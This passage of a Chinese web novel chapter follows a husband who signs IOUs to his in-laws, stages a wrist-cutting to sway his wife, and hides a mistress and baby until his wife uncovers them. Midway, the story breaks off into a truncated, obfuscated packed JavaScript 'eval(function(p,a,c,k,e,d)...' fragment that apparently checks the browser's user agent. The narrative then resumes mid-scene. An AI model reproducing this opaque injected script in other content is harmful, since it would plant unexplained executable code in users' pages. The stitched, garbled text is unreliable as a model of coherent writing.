“那你慢慢伤心吧。我会跟阿愉小叔说,以后你再拿钱,全部打借条。”陆向东冷笑着收起那张照片,“以前我不理解,你爸爸干外贸的,并不缺钱,你怎么会跑到我们家做上门女婿,现在我懂了。你爸比我看得长远,这方面我不如他,甘拜下风。” 温枕瑜不傻,这种借条一打,他就彻底没有自由了,不像现在,赚了更好,亏了也没有负担。 这就像是背着一座大山在走钢丝,傻子才打呢。 他借口记不清身份证的末四位,从书房出去,回到卧室,立马拿着一把水果刀,坐在床前,往自己手腕上割。 陆祯愉得了产后抑郁,自己还是个病人,没想到自己男人居然要割腕,她都傻了。 赶紧一把夺了过来:“你干什么?你疯了!” “咱爸嫌我不中用,让我给小叔打欠条。”温枕瑜挤了半天没挤出几滴眼泪,只得红着眼睛卖惨,“阿愉,都是我不好,没能挣大钱,让你做阔太太,来世我再——” “你疯了!!!”陆祯愉直接冲出卧室,跑到书房找她爸爸对峙。 陆向东看到自己的女儿这么傻,已经不抱指望了,果然溺爱是害,早知道就该让她小时候吃点苦头,那样才不至于像今天这么不知人间疾苦。 算了,孩子没了,女儿受了不小的打击,他要是再苛责她,她还怎么活? 所以他还是温声细语地劝道:“阿愉,爸爸都是为你好啊。你也不想想,你公公手里不缺钱,为什么不肯拿钱给他投资?说明你公公知道他靠不住,他自己的老子都不信他,你让我怎么信他?” “我不管,他是我男人,你把他当外人,就是把我当外人。你把我当外人,你不爱我了。是不是因为我没能保住宝宝,你也恨我不争气,恨我不中用。”陆祯愉已经走进了死胡同,任何事情,她都会归咎到孩子那件事上。 陆向东心疼坏了,赶紧起身抱了抱她:“傻丫头,你胡说什么?爸爸是为你好啊。” 陆祯愉泪光盈盈的质问他:“为我好,那你为什么逼我男人自杀?” 陆向东无语至极,这个温枕瑜,真是狡诈至极!他深吸一口气:“好了,爸爸怎么会那么残忍呢?既然你不肯,那就不提这件事了。” “真的?”陆祯愉梨花带雨的抬起头来,“你不要骗我哦。” “不骗你。”陆向东吃一堑长一智,第二天直接去了温枕瑜的建筑公司,叫上他弟陆向南,让陆向南直接跟温枕瑜谈借条的事。 陆向南是个生意人,论鬼点子,温枕瑜在他面前完全不够看的,他直接站在温枕瑜办公室门口,当着员工的面问道:“你也不想让你的员工笑话你是吃软饭的吧?你打个欠条,这钱就是你自己凭本事赚的,不然,别怪我不客气。” 众目睽睽之下,温枕瑜实在是下不来台,只得硬着头皮,把他从陆家拿来投资的钱打了欠条。 注册公司时的一千万,加上后期运营又陆陆续续找陆向南要了三百多万,一共一千三百多万,一分也没少。 陆向南拿着欠条,心满意足地走了。 气得温枕瑜回到办公室,砸了一整套的茶具。 深吸一口气,他劝自己冷静,再冷静,用不了多久,卢小晓的爸妈就要出事了,到时候拿了赔偿金,他就重新注册一个公司,把这个公司的业务全部转移走,到时候申请破产清算,就算还有欠条卡着他的咽喉,起码公司的运营不会受陆家人的干涉。 这段时间,他得想办法,让陆祯愉找她叔叔要来欠条,撕了永绝后患。 晚上下班,他早早回去,找陆祯愉装可怜卖惨,陆祯愉也没想到她爸居然出尔反尔,背地里带着小叔去打了欠条。 她不想看到自己深爱的男人受委屈,承诺改天会去找小叔问个清楚,就在温枕瑜搂着她准备去浴室洗澡的时候,公文包里的大哥大响了。 温枕瑜一个箭步冲到床头柜那里,拿起来喂了一声,那头传来卢小晓的哭泣声:“老公,宝宝发烧了,我好害怕,你能不能来陪陪我啊?” 温枕瑜紧张地看了眼蒙在鼓里的陆祯愉,赶紧敷衍了一句:“不是跟你说了吗?那批钢筋的款子找徐会计申报,你找我做什么?” 说罢赶紧挂了电话,笑着回到陆祯愉身边:“新来的小采购员,笨死了。” 陆祯愉没有多想,洗完澡出来,电话又响了,她不理解:“这个采购员这么笨吗?怎么一个劲地找你?” 温枕瑜尴尬地笑笑:“傻瓜,你怎么知道这次还是她?” 拿起电话,对面果然还是卢小晓,哭着闹着要他回去陪陪她,她第一次处理孩子发烧的情况,完全被吓傻了,现在她很慌很怕,很需要他在身边。 可惜温枕瑜自顾不暇,闻言骂道:“琪琪,你胡闹什么?这么大人了,发个烧找我做什么?你大哥不是离得近吗?找他去。” 说罢,他直接抠了电池,再也不给卢小晓骚扰他的机会。 陆祯愉总觉得哪里不对,可惜这年头的大哥大根本没有保留通话记录的技术,只能存着一丝怀疑,睡觉去了。 急疯了的卢小晓彻底乱了方寸,直接打给了温定方,让他想想办法,孩子已经烧了一天一夜了,挂了水还是高烧不止。 温定方正在海南出差,只得打给了许冬琴。 许冬琴完全理解卢小晓的慌乱无助,赶紧跟陆家人找了个借口,说家里的婆婆生病了,要她回去照顾,连夜坐飞机去了海城,再从海城打车回了栖梧县。 凌晨六点,她终于看到了孩子,小脸蛋通红,都烧得迷糊了,小地方的医生不靠谱,赶紧转院去了省城。 * 姚长安跟温怀瑾在姑苏转了一天,又去海城玩了两天,看了看那边的书店,赶在温怀瑾假期的最后一天,回到了金陵。 还有大半天的时间可以消磨,两人准备去玄武湖赏花。 “听说运气好的可以看到并蒂莲哎!”姚长安很感兴趣,并蒂莲的寓意可好了,小情侣小夫妻都很喜欢,她也不能免俗。 温怀瑾笑着应道:“好好好,你等我换身衣服。”身上的流汗流湿了,天太热了,没办法。 他顺便冲了个澡,要不然身上黏糊糊的还是难受,这时大哥大响了,他也不知道是谁的,反正他没有亏心事,便没有管。 出来的时候,电话已经挂断了,他很好奇:“谁的?” “琪琪的,她说你妈昨天回来了,在省人医。”姚长安怕他误会,赶紧解释道,“不是她生病了,是卢小晓的孩子,高烧不退。琪琪说咱爸出差了,不在家,问咱们要不要过去看看。” 温怀瑾毫不犹豫:“不去。” 姚长安有点纠结:“确实,没名没分的,去了算什么?简直把陆祯愉的脸往脚底下踩。可那孩子到底是你的亲侄女儿,不去又显得咱们太狠心了。” “傻瓜,老二结婚没跟我说,也没有邀请我,我结婚他也没来,我跟他之间,早就没有什么兄弟情可言了。他的孩子跟我没关系。”温怀瑾想得很清楚,婚礼的事已经算是摆在明面上的决裂了,难道非要互相拿把刀捅一下才算吗? 他不傻,知道他那个弟弟眼里完全没有他。 姚长安有点意外:“什么?他结婚没邀请你啊?” “不然你以为我为什么没邀请他?我是那种冷血的人吗?”温怀瑾知道不怪她,毕竟他们两个在一起才半年多的时间,领证也才一个多月,很多时候,他们聊的都是彼此,而不是家里那些倒胃口的亲眷。 比如姚长安不爱提夏家的事,他不爱提温枕瑜的事。 姚长安恍然:“那就不去吧,你给琪琪回个电话。” “好。”电话接通,温怀瑾提醒道,“琪琪,你要是去了,等于你认卢小晓做二嫂,你可想清楚了。陆祯愉再不好,人家爸爸对你也挺客气的,还给你包了红包,你可不要犯糊涂。” “啊?大哥你不早说,我都快到了。”温佑琪叫苦不迭,她没想那么多,只是想着那孩子毕竟是她侄女儿,她可是当小姑姑的人呢。 温怀瑾无奈:“我不是刚知道吗?以后类似的事情,你都要想想清楚,你去了,就代表你承认卢小晓,可是卢小晓是你二哥什么人?他自己都不认,你上赶着去认?” 温佑琪赶紧让司机调头:“好的大哥,我听你的,二嫂已经很可怜了,我不能再做这种事往她心口上插刀。以后再有这种事,我一概不管。” “嗯。”温怀瑾挂了电话,可以想象他妈妈会有多爆炸,他也懒得管。 拿上钥匙,叫上自己老婆,出门玩儿去了。 这不是他冷血,而是不合适。人生在世,总得摆正自己的位置,摆正别人的位置,要不然,只会把人际关系弄得一团乱麻。 如果真有一天,温枕瑜跟陆祯愉离婚了,跟卢小晓结婚了,到时候他们带着卢小晓上门叫一声大哥大嫂,带着孩子叫一声大伯大伯母,他再认那个孩子不迟。 两人高高兴兴地来到了玄武湖,运气好,真遇到了一朵并蒂莲,赶紧划着小船靠近一些,邀请附近的游客帮忙拍了几张合照, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆祯愉觉得不对劲,挂断电话打给了许冬琴。 这会儿许冬琴刚带着卢小晓吃了晚饭,在酒店办好了入住手续,孩子尿了,她赶紧给孩子换上尿布,去卫生间洗洗。 大哥大响了,卢小晓没有多想,直接拿起来,喂了一声。 那头的陆祯愉如遭雷击,居然是个陌生的声音!但她还是心存侥幸,问道:“你是谁?我找许冬琴。” “你又是谁?”卢小晓见过陆祯愉,但她只是在婚礼的酒店门外远远地看了一眼,两人并没有直接说过话,自然不认得她的声音。 陆祯愉想了想,撒了个谎:“我是温佑琪,我找我妈。” 卢小晓松了口气:“是琪琪啊,上午咱妈说你要来医院,怎么没来?” 咱妈?难道对面的是大嫂姚长安?陆祯愉松了口气,继续圆谎:“临时有事,你们现在在哪儿呢?” “你要过来吗?我们在希尔顿。” “房间号给我。” 卢小晓报了个号码,笑道:“你要来看宝宝吗?宝宝退烧了,没事了。” 宝宝?大哥大嫂不是刚结婚吗?哪来的宝宝?还邀请温佑琪去看宝宝? 陆祯愉脸上的笑容瞬间凝固,等那边喂了好几声,她才挤出一脸比哭还难看的笑:“对啊,还不知道宝宝叫什么。” “咱妈没告诉你吗?你二哥取好名字了。” “二哥?” “对呀,他是孩子爸爸,让他取名字不是应该的吗?” 陆祯愉彻底傻眼,她的脑子嗡嗡作响,对面在说什么,她是一个字也没听进去,回过神来,才问道:“刚才信号不好,你说什么?” “我说孩子叫温绵绵。爱意绵绵的绵。” 陆祯愉的眼泪唰的一下滚落下来,她没有力气再演下去了,啪的一声挂了电话。 她几乎没有犹豫,抓起自己的钱包和钥匙,检查了一下身份证和银行卡,准备去机场,连夜飞过去,看个真切。 推开门,却直接撞进了温枕瑜怀里。 四目相对,陆祯愉险些露馅儿,只得赶紧捂住额头,急中生智撒了个谎:“我同学找我有事,晚饭不用等我了。” “什么事,我送你。”温枕瑜没怀疑,毕竟她最近一直精神不好,难得振作起来出去见见同学也是好的。 陆祯愉赶紧拒绝:“不用了,你上了一天的班,辛苦了,我去去就回。” “我送你吧。”温枕瑜很想表现一下,他还指望他老婆找她小叔把欠条要回来呢。 陆祯愉再次拒绝:“真不用,都是女生,你去了大家放不开。实在不行,你也找个朋友出去散散心吧。” 说完,她头也不回地赶去了机场,打了夜里的票,直飞金陵。 同一时间,许冬琴洗完尿布,准备回去,卢小晓一个人怕照顾不好孩子,挽留道:“妈,你陪陪我吧。琪琪说她等会过来呢。” 刚才那通电话许冬琴也听见了,只不过卢小晓没开免提,所以她不知道对面的并不是温佑琪。 她想了想,也好,孩子刚退烧,她再搭把手好了,便留在了客房里。 好在她本来开的就是套房,方便过来照顾孩子的,等了一会儿,困意来袭,便去另外一个房间睡了。 半夜三点多,有人敲门,许冬琴没有多想,以为是小女儿刚拍完戏,她踩着一次性拖鞋下床,哈欠连天地打开了门。